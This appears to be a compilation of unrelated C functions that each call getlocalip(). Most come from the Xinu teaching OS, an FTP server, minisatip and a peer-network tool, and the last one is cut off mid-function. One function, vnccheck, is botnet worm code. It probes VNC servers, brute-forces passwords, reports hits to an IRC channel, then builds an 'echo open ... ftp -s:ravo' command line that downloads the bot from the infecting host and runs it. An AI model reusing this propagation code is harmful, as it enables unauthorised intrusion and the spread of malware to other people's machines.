int tcp_client(unsigned short port) { int sock; if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) ERR_EXIT("tcp_client"); if (port > 0) { int on = 1; if ((setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&on, sizeof(on))) < 0) ERR_EXIT("setsockopt"); char ip[16] = {0}; getlocalip(ip); struct sockaddr_in localaddr; memset(&localaddr, 0, sizeof(localaddr)); localaddr.sin_family = AF_INET; localaddr.sin_port = htons(port); localaddr.sin_addr.s_addr = inet_addr(ip); if (bind(sock, (struct sockaddr*)&localaddr, sizeof(localaddr)) < 0) ERR_EXIT("bind"); } return sock; }
int main(int argc, char **argv) { int32 retval; /* Obtain network configuration from DHCP server */ NetData.ipvalid = FALSE; retval = getlocalip(); if (retval == SYSERR) panic("Error: could not obtain an IP address\n\r"); /* Open the remote disk */ //retval = open(RDISK,"XinuDisk","rw"); //if (retval == SYSERR) // panic("Error: could not open the remote disk, check the server\n\r"); //kprintf("\n\r**********************************************************\n\r"); /* Creating a shell process */ test_head(); /*resume(create(shell, 4096, 1, "shell", 1, CONSOLE)); retval = recvclr(); while (TRUE) { retval = receive(); kprintf("\n\n\rMain process recreating shell\n\n\r"); resume(create(shell, 4096, 1, "shell", 1, CONSOLE)); }*/ return OK; }
/*------------------------------------------------------------------------ * * startup - Finish startup takss that cannot be run from the Null * process and then create and resumethe main process * *------------------------------------------------------------------------ */ local process startup(void) { uint32 ipaddr; /* Computer's IP address */ char str[128]; /* String used to format output */ /* Use DHCP to obtain an IP address and format it */ ipaddr = getlocalip(); if ((int32)ipaddr == SYSERR) { kprintf("Cannot obtain an IP address\n"); } else { /* Print the IP in dotted decimal and hex */ ipaddr = NetData.ipucast; sprintf(str, "%d.%d.%d.%d", (ipaddr>>24)&0xff, (ipaddr>>16)&0xff, (ipaddr>>8)&0xff, ipaddr&0xff); kprintf("Obtained IP address %s (0x%08x)\n", str, ipaddr); } /* Create a process to execute function main() */ resume(create((void *)main, INITSTK, INITPRIO, "Main process", 0, NULL)); /* Startup process exits at this point */ return OK; }
// 返回sock, port=0 不绑定端口 int tcp_client(unsigned int port) { int sock; if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) ERR_EXIT("socket error"); if (port > 0) { struct sockaddr_in localaddr; memset(&localaddr, 0, sizeof(localaddr)); localaddr.sin_family = AF_INET; localaddr.sin_port = htons(port); char ip[20]= {0}; getlocalip(ip); localaddr.sin_addr.s_addr = inet_addr(ip); int on = 1; if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) == -1) ERR_EXIT("setsockopt"); if(bind(sock, (struct sockaddr*)&localaddr, sizeof(localaddr)) == -1) ERR_EXIT("bind"); } return sock; }
/*------------------------------------------------------------------------ * xsh_ipaddr - obtain and print the IP address, subnet mask and default * router address *------------------------------------------------------------------------ */ shellcmd xsh_ipaddr(int nargs, char *args[]) { int32 retval; /* Output info for '--help' argument */ if (nargs == 2 && strncmp(args[1], "--help", 7) == 0) { printf("Usage: %s\n\n", args[0]); printf("Description:\n"); printf("\tDisplays IP address information\n"); printf("Options:\n"); printf("\t-f\tforce a new DHCP request to be sent\n"); printf("\t--help\tdisplay this help and exit\n"); return OK; } /* Check argument count */ if (nargs > 2) { fprintf(stderr, "%s: too many arguments\n", args[0]); fprintf(stderr, "Try '%s --help' for more information\n", args[0]); return SYSERR; } if (nargs == 2) { if (strncmp(args[1], "-f", 3) != 0) { fprintf(stderr, "%s: invalid argument\n"); fprintf(stderr, "Try '%s --help' for more information\n", args[0]); return 1; } NetData.ipvalid = FALSE; } retval = getlocalip(); if (retval == SYSERR) { fprintf(stderr, "%s: could not obtain an IP address\n", args[0]); return 1; } printf("IP address:\t%d.%d.%d.%d\t0x%08x\n", (NetData.ipaddr>>24)&0xff, (NetData.ipaddr>>16)&0xff, (NetData.ipaddr>>8)&0xff, NetData.ipaddr&0xff, NetData.ipaddr); printf("Subnet mask:\t%d.%d.%d.%d\t0x%08x\n", (NetData.addrmask>>24)&0xff, (NetData.addrmask>>16)&0xff, (NetData.addrmask>> 8)&0xff, NetData.addrmask&0xff, NetData.addrmask); printf("Router IP:\t%d.%d.%d.%d\t0x%08x\n", (NetData.routeraddr>>24)&0xff, (NetData.routeraddr>>16)&0xff, (NetData.routeraddr>> 8)&0xff, NetData.routeraddr&0xff, NetData.routeraddr); return OK; }
int main(int argc, char **argv) { uint32 retval; kprintf("main: calling getlocalip\n"); retval = getlocalip(); if (retval == SYSERR) { kprintf("I'm here to stop!\n"); } else { kprintf("I'm here to continue!\n"); kprintf("\n\n###########################################################\n\n"); kprintf("IP address is %d.%d.%d.%d %08x\n\r", (retval>>24)&0xff, (retval>>16)&0xff, (retval>>8)&0xff, retval&0xff,retval); kprintf("Subnet mask is %d.%d.%d.%d and router is %d.%d.%d.%d\n\r", (NetData.addrmask>>24)&0xff, (NetData.addrmask>>16)&0xff, (NetData.addrmask>> 8)&0xff, NetData.addrmask&0xff, (NetData.routeraddr>>24)&0xff, (NetData.routeraddr>>16)&0xff, (NetData.routeraddr>> 8)&0xff, NetData.routeraddr&0xff); } dot2ip(RPL_FORWARDING_GATEWAY, &retval); if(retval == NetData.ipaddr){ kprintf("I am the simulator gateway\r\n"); } rpl_init(); resume(create(shell, 4096, INITPRIO, "Shell", 1, CONSOLE)); receive(); getlocalip(); resume(create(shell, 4096, INITPRIO, "Shell", 1, CONSOLE)); return OK; }
void network_init(){ nw_initlist(); const char *myip = getlocalip(); struct in_addr meaddr; inet_pton(AF_INET, myip, &meaddr); root->p.ip = meaddr.s_addr; pthread_mutex_init(&event.eventMutex, 0); state = INIT; startlisten_udp(); startlisten_tcp(); startbroadcast_udp(); pthread_create(&timeout_thread, NULL, start_timer, (void *) NULL); }
void load_config_file(char *file) { if(access(file, F_OK) == 0) { FILE *f = fopen(file, "r"); char *line = NULL; size_t len = 0; ssize_t read; char id[32] = {0}; char value[128] = {0}; while((read = getline(&line, &len, f)) != -1) { if(line[0] == '#') continue; memset(id, 0, sizeof(char) * 32); memset(value, 0, sizeof(char) * 128); sscanf(line, "%s = %s", id, value); if(!strcmp(id, "CLIENT_LISTEN_PORT")) CLIENT_LISTEN_PORT = atoi(value); else if(!strcmp(id, "MIN_TRANS_PORT")) MIN_TRANS_PORT = atoi(value); else if(!strcmp(id, "MAX_TRANS_PORT")) MAX_TRANS_PORT = atoi(value); else if(!strcmp(id, "INTERFACE_ID")) INTERFACE_ID = atoi(value); else if(!strcmp(id, "SERVER_IP")) strcpy(SERVER_IP, value); else if(!strcmp(id, "CLIENT_IP")) strcpy(CLIENT_IP, value); else printf("unknown parameter: %s\n", id); } free(line); fclose(f); } if(strcmp(CLIENT_IP, "0.0.0.0") == 0) { char _ip[16][IPV4_ADDR_LEN]; if(getlocalip(_ip) > 0) strcpy(CLIENT_IP, _ip[INTERFACE_ID - 1]); else { printf("no ip usable\n"); exit(-1); } } printf("%d %d %d %d %s %s\n", CLIENT_LISTEN_PORT, MIN_TRANS_PORT, MAX_TRANS_PORT, INTERFACE_ID, SERVER_IP, CLIENT_IP); }
static void privop_pasv_listen(session_t *sess) { char ip[20] = {0}; getlocalip(ip); // 服务器 bind 的必须是随机端口,因此此时可能有多个nobody 进程在listen, 这样才不会冲突 sess->pasv_listen_fd = tcp_server(ip, 0); struct sockaddr_in localaddr; socklen_t addrlen = sizeof(localaddr); if (getsockname(sess->pasv_listen_fd, (struct sockaddr *)&localaddr, &addrlen) < 0) ERR_EXIT("getsockname"); unsigned short port = ntohs(localaddr.sin_port); priv_sock_send_int(sess->nobody_fd, (int)port); }
static void privop_pasv_listen(session_t *sess) { char ip[16]; getlocalip(ip); sess->pasv_listen_fd = tcp_server(ip, 0); struct sockaddr_in addr; socklen_t addrlen = sizeof(addr); if(getsockname(sess->pasv_listen_fd, (struct sockaddr *)&addr, &addrlen) < 0) { ERR_EXIT("getsockname"); } unsigned short port = ntohs(addr.sin_port); priv_sock_send_int(sess->parent_fd, (int)port); }
static void do_pasv(session_t *sess) { char ip[16] = {0}; getlocalip(ip); priv_sock_send_cmd(sess->child_fd, PRIV_SOCK_PASV_LISTEN); unsigned short port = (unsigned short)priv_sock_get_int(sess->child_fd); unsigned int v[4]; sscanf(ip, "%u.%u.%u.%u", &v[0], &v[1], &v[2], &v[3]); char text[1024] = {0}; sprintf(text, "Entering Passive Mode (%u,%u,%u,%u,%u,%u).", v[0], v[1], v[2], v[3], port >> 8, port & 0xFF); ftp_reply(sess, FTP_PASVOK, text); }
int main(int argc, char **argv) { uint32 retval; kprintf("main: calling getlocalip\n"); NetData.ipvalid = FALSE; retval = getlocalip(); if (retval == SYSERR) { kprintf("I'm here to stop!\n"); } else { kprintf("I'm here to continue!\n"); kprintf("\n\n###########################################################\n\n"); kprintf("IP address is %d.%d.%d.%d %08x\n\r", (retval>>24)&0xff, (retval>>16)&0xff, (retval>>8)&0xff, retval&0xff,retval); kprintf("Subnet mask is %d.%d.%d.%d and router is %d.%d.%d.%d\n\r", (NetData.addrmask>>24)&0xff, (NetData.addrmask>>16)&0xff, (NetData.addrmask>> 8)&0xff, NetData.addrmask&0xff, (NetData.routeraddr>>24)&0xff, (NetData.routeraddr>>16)&0xff, (NetData.routeraddr>> 8)&0xff, NetData.routeraddr&0xff); } resume(create(netin, 8192, 50, "netin", 0)); // resume(create(monitor, 1024, 50, "monitor", 0)); //while (1); // resume(create(shell, 8192, 50, "shell", 1, CONSOLE)); /* Wait for shell to exit and recreate it */ /* recvclr(); while (TRUE) { retval = receive(); kprintf("\n\n\rMain process recreating shell\n\n\r"); resume(create(shell, 4096, 1, "shell", 1, CONSOLE)); }*/ netin(); return OK; }
/*------------------------------------------------------------------------ * * startup - Finish startup tasks that cannot be run from the Null * process and then create and resume the main process * *------------------------------------------------------------------------ */ local process startup(void) { uint32 ipaddr; /* Computer's IP address */ char str[128]; /* String used to format output */ pid32 proc; /* index into proctab[] */ /* Use DHCP to obtain an IP address and format it */ ipaddr = getlocalip(); if ((int32)ipaddr == SYSERR) { kprintf("Cannot obtain an IP address\n"); } else { /* Print the IP in dotted decimal and hex */ ipaddr = NetData.ipucast; sprintf(str, "%d.%d.%d.%d", (ipaddr>>24)&0xff, (ipaddr>>16)&0xff, (ipaddr>>8)&0xff, ipaddr&0xff); kprintf("Obtained IP address %s (0x%08x)\n", str, ipaddr); } /* Mark all processes created at startup as system processes */ for (proc = 0; proc < NPROC; proc++){ if(proctab[proc].prstate != PR_FREE){ proctab[proc].prisusrproc = FALSE; } } /* Create a process to execute function main() */ resume(create((void *)main, INITSTK, INITPRIO, "Main process", 0, NULL)); /* Startup process exits at this point */ return OK; }
int main(void) { char host[100] = {0}; if (gethostname(host, sizeof(host)) < 0) ERR_EXIT("gethostname error"); struct hostent *hp; if ((hp = gethostbyname(host)) == NULL) ERR_EXIT("gethostbyname error"); int i = 0; while (hp->h_addr_list[i] != NULL) { printf("%s\n", inet_ntoa(*(struct in_addr*)hp->h_addr_list[i])); i++; } char ip[16] = {0}; getlocalip(ip); printf("local ip : %s\n" , ip); return 0; }
void do_cmd_pasv(session_t *pses) { char localip[16] = {0}; if(getlocalip(localip) < 0) { handle_error("getlocalip"); } //向nobody进程发送请求 priv_sock_send_cmd(pses->child_fd, PRIV_SOCK_PASV_LISTEN); //接收nobody进程返回的端口号 unsigned short port = (unsigned short)priv_sock_get_int(pses->child_fd); unsigned int v[4] = {0}; sscanf(localip, "%u.%u.%u.%u",&v[0],&v[1],&v[2],&v[3]); char iptext[1024] = {0}; sprintf(iptext, "Entering Passive Mode (%u,%u,%u,%u,%u,%u).", v[0],v[1],v[2],v[3],port>>8,port & 0xFF); ftp_reply(pses->ctrl_fd, FTP_PASVOK, iptext); }
int vnccheck(char *host, char *passwd, SOCKET ircconn) { SOCKET sock; SOCKADDR_IN ssin; ssin.sin_family = AF_INET; ssin.sin_port = htons(5900); ssin.sin_addr.s_addr= inet_addr(host); sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if(connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin))) { //printf("[-] Could not connect\n"); return 1; } char buff[4096]; char ftpline[256]; sprintf(ftpline, "echo open %s %d > ravo &echo user %s %s >> ravo &echo get %s >> ravo &echo bye >> ravo &ftp -n -v -s:ravo &del ravo &%s\r\n", getlocalip(), FTPPORT, "Ravo", "5002", BOTNAME, BOTNAME); unsigned char vncversion[12]; ReadExact(sock, vncversion, sizeof(vncversion)); if(strstr(vncversion, "RFB")) { WriteExact(sock, vncversion, sizeof(vncversion)); strtok(vncversion, " "); int versa = atoi(strtok(NULL, ".")); int versb = atoi(strtok(NULL, "\n")); //printf("[+] Found VNC %d.%d\n", versa, versb); char auth[4]; ReadExact(sock, auth, 4); if(auth[1] == 1 || auth[3] == 1) { //printf("[+] VNC NoAuth!\n"); sprintf(buff, "PRIVMSG %s :VNC v%d.%d with no pass on host %s\n", CHANNEL, versa, versb, host); send(ircconn,buff, strlen(buff), 0); WriteExact(sock, "\0", 1); VNCRoot(sock, ftpline); closesocket(sock); return 1; } else if(auth[1] == 2 || auth[3] == 2) { //printf("[+] VNC needs pass lets brewtf0rc3\n"); char funk[1]; //funk = "0\n"; funk[0] = auth[1]; //funk[1] = '\n'; //printf("funk:\n%s\n%d %d\n", funk, funk[0], funk[1]); WriteExact(sock, funk, 1); // WTF? I NEED 2 send sumthing or ill not get the challenge unsigned char challenge[16]; ReadExact(sock, challenge, 16); vncEncryptBytes(challenge, passwd); WriteExact(sock, challenge, 16); // send encrypted shit // see wtf the status is unsigned char status[4]; ReadExact(sock, status, 4); if(status[3] == 0) { //printf("[+] pass ok\n"); sprintf(buff, "PRIVMSG %s :[VNC] v%d.%d with pass %s on ip %s\n", CHANNEL, versa, versb, passwd, host); send(ircconn,buff, strlen(buff), 0); WriteExact(sock, "\0", 1); VNCRoot(sock, ftpline); closesocket(sock); return 1; } else if(status[3] == 1) { //printf("[-] pass wrong\n"); return 0; } else if(status[3] == 1) { //printf("[-] 2much connections\n"); return 2; } } else if(auth[1] ==0) { return 1; } } closesocket(sock); return 0; }
/*------------------------------------------------------------------------ * getutime - Obtain time in seconds past Jan 1, 1970, UCT (GMT) *------------------------------------------------------------------------ */ status getutime( uint32 *timvar /* Location to store the result */ ) { uint32 now; /* Current time in xinu format */ int32 retval; /* Return value from call */ uid32 slot; /* Slot in UDP table */ struct ntp { /* Format of an NTP message */ byte livn; /* LI:2 VN:3 and mode:3 fields */ byte strat; /* Stratum */ byte poll; /* Poll interval */ byte precision; /* Precision */ uint32 rootdelay; /* Root delay */ uint32 rootdisp; /* Root dispersion */ uint32 refid; /* Reference identifier */ uint32 reftimestamp[2];/* Reference timestamp */ uint32 oritimestamp[2];/* Originate timestamp */ uint32 rectimestamp[2];/* Receive timestamp */ uint32 trntimestamp[2];/* Transmit timestamp */ } ntpmsg; if (Date.dt_bootvalid) { /* Return time from local info */ *timvar = Date.dt_boot + clktime; return OK; } /* Verify that we have obtained an IP address */ if (getlocalip() == SYSERR) { return SYSERR; } /* If the DHCP response did not contain an NTP server address */ /* use the default server */ if (NetData.ntpserver == 0) { if (dot2ip(TIMESERVER, &NetData.ntpserver) == SYSERR) { return SYSERR; } } /* Contact the time server to get the date and time */ slot = udp_register(NetData.ntpserver, TIMERPORT, TIMELPORT); if (slot == SYSERR) { fprintf(stderr,"getutime: cannot register a udp port %d\n", TIMERPORT); return SYSERR; } /* Send a request message to the NTP server */ memset((char *)&ntpmsg, 0x00, sizeof(ntpmsg)); ntpmsg.livn = 0x1b; /* Client request, protocol version 3 */ retval = udp_send(slot, (char *)&ntpmsg, sizeof(ntpmsg)); if (retval == SYSERR) { fprintf(stderr,"getutime: cannot send to the server\n"); udp_release(slot); return SYSERR; } /* Read the response from the NTP server */ retval = udp_recv(slot, (char *) &ntpmsg, sizeof(ntpmsg), TIMETIMEOUT); if ( (retval == SYSERR) || (retval == TIMEOUT) ) { udp_release(slot); return SYSERR; } udp_release(slot); /* Extract the seconds since Jan 1900 and convert */ now = ntim2xtim( ntohl(ntpmsg.trntimestamp[0]) ); Date.dt_boot = now - clktime; Date.dt_bootvalid = TRUE; *timvar = now; return OK; }
status rpl_send_with_ip(char * node_phy_addr, char *src_node, byte msg_type, char *msg, uint32 msg_len, uint32 remip){ struct eth_packet pkt; struct rpl_sim_packet *rpl_sim_pkt = NULL; byte ethbcast[] = {0xff,0xff,0xff,0xff,0xff,0xff}; #ifdef DEBUG kprintf("Simulator is : %04x dest : %04x source : %04x my addr : %04x\r\n", remip, *((uint32*)node_phy_addr), *((uint32*)src_node), NetData.ipaddr); #endif if ( ! NetData.ipvalid){ getlocalip(); } if(msg_len > 1500-ETH_HDR_LEN-RPL_SIM_HDR_LEN){ kprintf("WARN : Simulator : Message too big \r\n"); return SYSERR; } memcpy(pkt.net_ethsrc, NetData.ethaddr, ETH_ADDR_LEN); /* FIXME : Needs to be changed to something that is valid */ pkt.net_ethtype = 0x1000; if (remip == IP_BCAST) { /* set mac address to b-cast */ memcpy(pkt.net_ethdst, ethbcast, ETH_ADDR_LEN); /* If destination isn't on the same subnet, send to router */ } else if ((NetData.ipaddr & NetData.addrmask) != (remip & NetData.addrmask)) { if (arp_resolve(NetData.routeraddr, pkt.net_ethdst)!=OK) { kprintf("rpl_send: cannot resolve router %08x\n\r", NetData.routeraddr); return SYSERR; } } else { /* Destination is on local subnet - get MAC address */ if (arp_resolve(remip, pkt.net_ethdst) != OK) { kprintf("rpl_send: cannot resolve %08x\n\r",remip); return SYSERR; } } rpl_sim_pkt = (struct rpl_sim_packet *)pkt.net_ethdata; memcpy((char *)rpl_sim_pkt->dest_node, (char *)node_phy_addr, RPL_NODE_PHY_ADDR_LEN); /* * FIXME Change this to my_phsical_address which is 64 bits */ memcpy((char *)rpl_sim_pkt->src_node, (char *)(src_node), RPL_NODE_PHY_ADDR_LEN); rpl_sim_pkt->msg_type = msg_type; rpl_sim_pkt->msg_len = msg_len; memcpy(rpl_sim_pkt->data, msg, msg_len); /* * FIXME : Perform host to network order translations */ #ifdef DEBUG kprintf("The packet is destined for : %06x with length : %d\r\n", *(pkt.net_ethdst+4), msg_len); #endif eth_hton(&pkt); write(ETHER0, (char *)&pkt, ETH_HDR_LEN + RPL_SIM_HDR_LEN + msg_len); return OK; }
void set_options (int argc, char *argv[]) { int opt; int sethost = 0; int index; char *lip; opts.log = 1; opts.rrtp = NULL; opts.disc_host = "239.255.255.250"; opts.start_rtp = 5500; opts.http_port = 8080; opts.http_host = NULL; opts.log = 0; opts.timeout_sec = 30000; opts.force_sadapter = 0; opts.force_tadapter = 0; opts.force_cadapter = 0; opts.mac[0] = 0; opts.daemon = 1; opts.bw = 0; opts.device_id = 0; opts.bootid = 0; opts.force_scan = 0; opts.dvr_buffer = DVR_BUFFER; opts.adapter_buffer = ADAPTER_BUFFER; opts.file_line = 0; opts.dvbapi_port = 0; opts.dvbapi_host = NULL; opts.drop_encrypted = 1; opts.rtsp_port = 554; opts.clean_psi = 0; opts.satip_addpids = 0; opts.output_buffer = 512*1024; opts.satip_servers[0] = 0; memset(opts.playlist, sizeof(opts.playlist), 0); while ((opt = getopt_long (argc, argv, "flr:a:td:w:p:s:hc:b:m:p:e:x:u:j:o:gy:zi:D:V", long_options, NULL)) != -1) { // printf("options %d %c %s\n",opt,opt,optarg); switch (opt) { case FOREGROUND_OPT: { opts.daemon = 0; break; } case MAC_OPT: { strncpy (opts.mac, optarg, 12); opts.mac[12] = 0; break; } case RRTP_OPT: { opts.rrtp = optarg; break; } case DEVICEID_OPT: { opts.device_id = atoi (optarg); break; } case HTTPSERVER_OPT: { // int i=0; opts.http_host = optarg; sethost = 1; break; } case LOG_OPT: { opts.log++; break; } case SYSLOG_OPT: { opts.slog++; break; } case HELP_OPT: { usage (); exit (0); } case VERSION_OPT: { LOGL(0, "minisatip version %s, compiled with s2api version: %04X",VERSION, DVBAPIVERSION); exit (0); } case HTTPPORT_OPT: { opts.http_port = atoi (optarg); break; } case BW_OPT: { opts.bw = atoi (optarg) * 1024; break; } case DVRBUFFER_OPT: { sscanf(optarg,"%d:%d", &opts.adapter_buffer, &opts.dvr_buffer) ; opts.adapter_buffer = (opts.adapter_buffer/188) * 188; if(opts.adapter_buffer < ADAPTER_BUFFER) opts.adapter_buffer = ADAPTER_BUFFER; if(opts.dvr_buffer == 0 ) opts.dvr_buffer = DVR_BUFFER; break; } case DVBS2_ADAPTERS_OPT: { sscanf(optarg,"%d:%d:%d", &opts.force_sadapter, &opts.force_tadapter, &opts.force_cadapter) ; break; } case CLEANPSI_OPT: { opts.clean_psi = 1; break; } case SCAN_OPT: { opts.force_scan = 1; break; } case PLAYLIST_OPT: { snprintf(opts.playlist, sizeof(opts.playlist), "<satip:X_SATIPM3U xmlns:satip=\"urn:ses-com:satip\">%s</satip:X_SATIPM3U>\r\n",optarg); break; } case ENABLE_ADAPTERS_OPT: { enable_adapters(optarg); break; } case UNICABLE_OPT: { set_unicable_adapters(optarg, SWITCH_UNICABLE); break; } case JESS_OPT: { set_unicable_adapters(optarg, SWITCH_JESS); break; } case DISEQC_OPT: { set_diseqc_adapters(optarg); } case DVBAPI_OPT: { char* sep1 = strchr(optarg, ':'); if ( sep1 != NULL) { *sep1 = 0; opts.dvbapi_host = optarg; opts.dvbapi_port = map_int(sep1 + 1, NULL ); } break; } case RTSPPORT_OPT: { opts.rtsp_port = atoi (optarg); break; } case SATIPCLIENT_OPT: if(strlen(optarg) + strlen(opts.satip_servers) > sizeof(opts.satip_servers)) break; if(opts.satip_servers[0]) sprintf(opts.satip_servers + strlen(opts.satip_servers), ",%s", optarg ); else sprintf(opts.satip_servers, "%s", optarg ); break; case PRIORITY_OPT: if(nice(map_int(optarg, NULL)) == -1) LOG("Failed to set priority %s", strerror(errno)); break; } } if(opts.bw && (opts.bw < opts.adapter_buffer)) opts.adapter_buffer = (opts.bw / 188) * 188; lip = getlocalip (); if (!opts.http_host) { opts.http_host = (char *) malloc (MAX_HOST); sprintf (opts.http_host, "%s:%d", lip, opts.http_port); } }
/*------------------------------------------------------------------------ * xsh_udpecho - shell command that can send a message to a remote UDP * echo server and receive a reply *------------------------------------------------------------------------ */ shellcmd xsh_udpecho(int nargs, char *args[]) { int i; /* index into buffer */ int retval; /* return value */ char msg[] = "Xinu testing UDP echo"; /* message to send */ char inbuf[1500]; /* buffer for incoming reply */ int32 msglen; /* length of outgoing message */ uint32 remoteip; /* remote IP address to use */ uint32 localip; /* local IP address to use */ uint16 echoport= 7; /* port number for UDP echo */ uint16 locport = 52743; /* local port to use */ int32 retries = 3; /* number of retries */ int32 delay = 2000; /* reception delay in ms */ /* For argument '--help', emit help about the 'udpecho' command */ if (nargs == 2 && strncmp(args[1], "--help", 7) == 0) { printf("Use: %s REMOTEIP\n\n", args[0]); printf("Description:\n"); printf("\tBounce a message off a remote UDP echo server\n"); printf("Options:\n"); printf("\tREMOTEIP:\tIP address in dotted decimal\n"); printf("\t--help\t display this help and exit\n"); return 0; } /* Check for valid IP address argument */ if (nargs != 2) { fprintf(stderr, "%s: invalid argument(s)\n", args[0]); fprintf(stderr, "Try '%s --help' for more information\n", args[0]); return 1; } if (dot2ip(args[1], &remoteip) == SYSERR) { fprintf(stderr, "%s: invalid IP address argument\r\n", args[0]); return 1; } localip = getlocalip(); if (localip == SYSERR) { fprintf(stderr, "%s: could not obtain a local IP address\n", args[0]); return 1; } /* register local UDP port */ retval = udp_register(remoteip, echoport, locport); if (retval == SYSERR) { fprintf(stderr, "%s: could not reserve UDP port %d\n", args[0], locport); return 1; } /* Retry sending outgoing datagram and getting response */ for (i=0; i<retries; i++) { msglen = strnlen(msg, 1500); retval = udp_send(remoteip, echoport, localip, locport, msg, msglen); if (retval == SYSERR) { fprintf(stderr, "%s: error sending UDP \n", args[0]); return 1; } retval = udp_recv(remoteip, echoport, locport, inbuf, sizeof(inbuf), delay); if (retval == TIMEOUT) { fprintf(stderr, "%s: timeout...\n", args[0]); continue; } else if (retval == SYSERR) { fprintf(stderr, "%s: error from udp_recv \n", args[0]); udp_release(remoteip, echoport, locport); return 1; } break; } udp_release(remoteip, echoport, locport); if (retval == TIMEOUT) { fprintf(stderr, "%s: retry limit exceeded\n", args[0]); return 1; } /* Response received - check contents */ if (retval != msglen) { fprintf(stderr, "%s: sent %d bytes and received %d\n", args[0], msglen, retval); return 1; } for (i = 0; i < msglen; i++) { if (msg[i] != inbuf[i]) { fprintf(stderr, "%s: reply differs at byte %d\n", args[0], i); return 1; } } printf("UDP echo test was successful\n"); return 0; }
/*------------------------------------------------------------------------ * rdscomm - handle communication with a remote disk server (send a * request and receive a reply, including sequencing and * retries) *------------------------------------------------------------------------ */ status rdscomm ( struct rd_msg_hdr *msg, /* message to send */ int32 mlen, /* message length */ struct rd_msg_hdr *reply, /* buffer for reply */ int32 rlen, /* size of reply buffer */ struct rdscblk *rdptr /* ptr to device control block */ ) { int32 i; /* counts retries */ int32 retval; /* return value */ int32 seq; /* sequence for this exchange */ uint32 localip; /* local IP address */ int16 rtype; /* reply type in host byte order*/ bool8 xmit; /* Should we transmit again? */ /* For the first time after reboot, register the server port */ if ( ! rdptr->rd_registered ) { retval = udp_register(0, rdptr->rd_ser_port, rdptr->rd_loc_port); rdptr->rd_registered = TRUE; } if ( (int32)(localip = getlocalip()) == SYSERR ) { return SYSERR; } /* Assign message next sequence number */ seq = rdptr->rd_seq++; msg->rd_seq = htonl(seq); /* Repeat RD_RETRIES times: send message and receive reply */ xmit = TRUE; for (i=0; i<RD_RETRIES; i++) { if (xmit) { /* Send a copy of the message */ retval = udp_send(rdptr->rd_ser_ip, rdptr->rd_ser_port, localip, rdptr->rd_loc_port, (char *)msg, mlen); if (retval == SYSERR) { kprintf("Cannot send to remote disk server\n\r"); return SYSERR; } } else { xmit = TRUE; } /* Receive a reply */ retval = udp_recv(0, rdptr->rd_ser_port, rdptr->rd_loc_port, (char *)reply, rlen, RD_TIMEOUT); if (retval == TIMEOUT) { continue; } else if (retval == SYSERR) { kprintf("Error reading remote disk reply\n\r"); return SYSERR; } /* Verify that sequence in reply matches request */ if (ntohl(reply->rd_seq) < seq) { xmit = FALSE; } else if (ntohl(reply->rd_seq) != seq) { continue; } /* Verify the type in the reply matches the request */ rtype = ntohs(reply->rd_type); if (rtype != ( ntohs(msg->rd_type) | RD_MSG_RESPONSE) ) { continue; } /* Check the status */ if (ntohs(reply->rd_status) != 0) { return SYSERR; } return OK; } /* Retries exhausted without success */ kprintf("Timeout on exchange with remote disk server\n\r"); return TIMEOUT; }
/*------------------------------------------------------------------------ * xsh_udpeserver - shell command that acts as a UDP echo server (is * usually run in background) *------------------------------------------------------------------------ */ shellcmd xsh_udpeserver(int nargs, char *args[]) { int32 retval; /* return value */ uint32 localip; /* local IP address */ uint32 remip; /* remote sender's IP address */ uint16 remport; /* remote sender's UDP port */ char buff[1500]; /* buffer for incoming reply */ int32 msglen; /* length of outgoing message */ uint16 echoserverport= 7; /* port number for UDP echo */ /* For argument '--help', emit a help message */ if (nargs == 2 && strncmp(args[1], "--help", 7) == 0) { printf("Use: %s\n\n", args[0]); printf("Description:\n"); printf("\tBecome a UDP echo server\n"); printf("Options:\n"); printf("\t--help\t display this help and exit\n"); return 0; } /* Check for valid IP address argument */ if (nargs != 1) { fprintf(stderr, "%s: no arguments expected\n", args[0]); fprintf(stderr, "Try '%s --help' for more information\n", args[0]); return 1; } localip = getlocalip(); if (localip == SYSERR) { fprintf(stderr, "%s: could not obtain a local IP address\n", args[0]); return 1; } /* register local UDP port */ retval = udp_register(0, 0, echoserverport); if (retval == SYSERR) { fprintf(stderr, "%s: could not reserve UDP port %d\n", args[0], echoserverport); return 1; } /* Do forever: read an incoming datagram and send it back */ while (TRUE) { retval = udp_recvaddr(&remip, &remport, echoserverport, buff, sizeof(buff), 600000); if (retval == TIMEOUT) { continue; } else if (retval == SYSERR) { fprintf(stderr, "%s: error receiving UDP\n", args[0]); return 1; } msglen = retval; retval = udp_send(remip, remport, localip, echoserverport, buff, msglen); if (retval == SYSERR) { fprintf(stderr, "%s: udp_send failed\n", args[0]); return 1; } } return 0; }
int metacommand(struct connection_t* co, char* inputbuffer, fd_set* read_set) { int inputcount = 0; char** buffer = parse(inputbuffer, &inputcount); /* Quit the program */ if (buffer[0][0] == 'q') { endwin(); exit(1); } /* Change output direction of middle node to LEFT */ else if (!strcmp(buffer[0], OUTPUTL)) { if (!co->NO_LEFT) co->OUTPUT_DIRECTION = 0; else co->OUTPUT_DIRECTION = 1; if (co->OUTPUT_DIRECTION) { cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Right"); } if (!co->OUTPUT_DIRECTION) { cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Left"); } } /* Change output direction of middle node to RIGHT */ else if (!strcmp(buffer[0], OUTPUTR)) { if (!co->NO_RIGHT) co->OUTPUT_DIRECTION = 1; else co->OUTPUT_DIRECTION = 0; if (co->OUTPUT_DIRECTION) { cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Right"); } if (!co->OUTPUT_DIRECTION) { cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Left"); } } /* Display current output direction */ else if (!strcmp(buffer[0], OUTPUT)) { if (co->OUTPUT_DIRECTION) { cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Right"); } if (!co->OUTPUT_DIRECTION) { 